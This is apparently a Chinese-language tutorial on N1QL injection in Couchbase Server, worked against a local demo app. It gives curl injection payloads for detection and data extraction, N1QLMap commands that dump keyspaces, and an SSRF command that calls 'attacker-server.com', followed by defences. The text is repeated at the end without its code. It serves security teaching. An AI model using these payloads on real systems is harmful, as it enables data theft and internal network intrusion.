Couchbase Server 与 N1QL注入
字数 1128 2025-08-20 18:17:53

Couchbase Server 与 N1QL注入漏洞分析与利用

1. 概述

本文详细分析Couchbase Server中的N1QL注入漏洞,这是一种类似于SQL注入的NoSQL数据库注入技术。N1QL(Non-First Normal Form Query Language)是Couchbase数据库特有的查询语言,用于处理JSON数据。

2. Couchbase Server与N1QL简介

Couchbase Server是一个开源的面向文档的NoSQL数据库,主要特点包括:

  • 将JSON对象存储为文档
  • 支持N1QL查询语言(类似SQL的JSON查询语法)
  • 提供系统键空间(system:keyspaces)等特殊命名空间

N1QL关键特性:

  • 支持ENCODE_JSON函数
  • 支持META关键字
  • 支持UNION SELECT等SQL类似语法
  • 支持系统键空间查询

3. 漏洞环境搭建

使用提供的Docker Compose环境快速搭建测试环境:

git clone https://github.com/FSecureLABS/N1QLMap.git 
cd n1qlmap/n1ql-demo 
./quick_setup.sh

环境运行后访问:http://localhost:3000

4. 漏洞识别与验证

4.1 基本注入检测

检测参数是否存在注入漏洞:

curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city='aaa"

若返回syntax error则表明存在注入点。

4.2 判断N1QL语法

使用N1QL特有函数验证:

# 使用ENCODE_JSON函数验证
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=13373' OR ENCODE_JSON({}) == \"{}\" OR '1'='1"

# 查询系统键空间
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=13373' OR ENCODE_JSON((SELECT * FROM system:keyspaces)) != \"{}\" OR '1'='1"

4.3 联合查询示例

查询所有可用键空间:

curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1"

5. 数据提取技术

5.1 基于布尔的数据提取

利用ENCODE_JSON函数和SUBSTR函数逐字符提取数据:

curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York' AND '{' = SUBSTR(ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)), 1, 1) AND '1'='1"

5.2 完整数据提取

使用ENCODE_JSON提取完整数据:

curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=13373' UNION SELECT ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)) WHERE '1'='1"

注意:使用ORDER BY确保结果顺序一致。

6. N1QLMap工具使用

N1QLMap是专门针对N1QL注入开发的利用工具,主要功能包括:

6.1 基本用法

标记注入点使用*i*

GET /example-1/breweries?city=*i* HTTP/1.1
Host: localhost:3000
[...]

6.2 枚举数据存储

./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

6.3 枚举键空间

./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

6.4 提取数据

./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

6.5 自定义查询

./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

7. SSRF漏洞利用

当Couchbase启用cURL功能时,可利用N1QL注入实现SSRF:

./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl 'attacker-server.com/endpoint' "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

SSRF可实现的攻击包括:

  • 绕过IP限制
  • 访问云环境元数据端点
  • 内部网络探测

8. 防御措施

  1. 使用参数化查询
  2. 限制N1QL查询权限
  3. 禁用不必要的功能(如cURL)
  4. 实施输入验证和过滤
  5. 使用最小权限原则配置数据库账户

9. 参考资源

  1. N1QL Language Reference
  2. Couchbase and N1QL Security
  3. N1QL Querying System Information
  4. N1QL CheatSheet (pdf)
  5. N1QL Interactive Tutorial
  6. Couchbase REST API Documentation
Couchbase Server 与 N1QL注入漏洞分析与利用 1. 概述 本文详细分析Couchbase Server中的N1QL注入漏洞,这是一种类似于SQL注入的NoSQL数据库注入技术。N1QL(Non-First Normal Form Query Language)是Couchbase数据库特有的查询语言,用于处理JSON数据。 2. Couchbase Server与N1QL简介 Couchbase Server是一个开源的面向文档的NoSQL数据库,主要特点包括: 将JSON对象存储为文档 支持N1QL查询语言(类似SQL的JSON查询语法) 提供系统键空间(system:keyspaces)等特殊命名空间 N1QL关键特性: 支持ENCODE_ JSON函数 支持META关键字 支持UNION SELECT等SQL类似语法 支持系统键空间查询 3. 漏洞环境搭建 使用提供的Docker Compose环境快速搭建测试环境: 环境运行后访问:http://localhost:3000 4. 漏洞识别与验证 4.1 基本注入检测 检测参数是否存在注入漏洞: 若返回 syntax error 则表明存在注入点。 4.2 判断N1QL语法 使用N1QL特有函数验证: 4.3 联合查询示例 查询所有可用键空间: 5. 数据提取技术 5.1 基于布尔的数据提取 利用ENCODE_ JSON函数和SUBSTR函数逐字符提取数据: 5.2 完整数据提取 使用ENCODE_ JSON提取完整数据: 注意 :使用ORDER BY确保结果顺序一致。 6. N1QLMap工具使用 N1QLMap是专门针对N1QL注入开发的利用工具,主要功能包括: 6.1 基本用法 标记注入点使用 *i* : 6.2 枚举数据存储 6.3 枚举键空间 6.4 提取数据 6.5 自定义查询 7. SSRF漏洞利用 当Couchbase启用cURL功能时,可利用N1QL注入实现SSRF: SSRF可实现的攻击包括: 绕过IP限制 访问云环境元数据端点 内部网络探测 8. 防御措施 使用参数化查询 限制N1QL查询权限 禁用不必要的功能(如cURL) 实施输入验证和过滤 使用最小权限原则配置数据库账户 9. 参考资源 N1QL Language Reference Couchbase and N1QL Security N1QL Querying System Information N1QL CheatSheet (pdf) N1QL Interactive Tutorial Couchbase REST API Documentation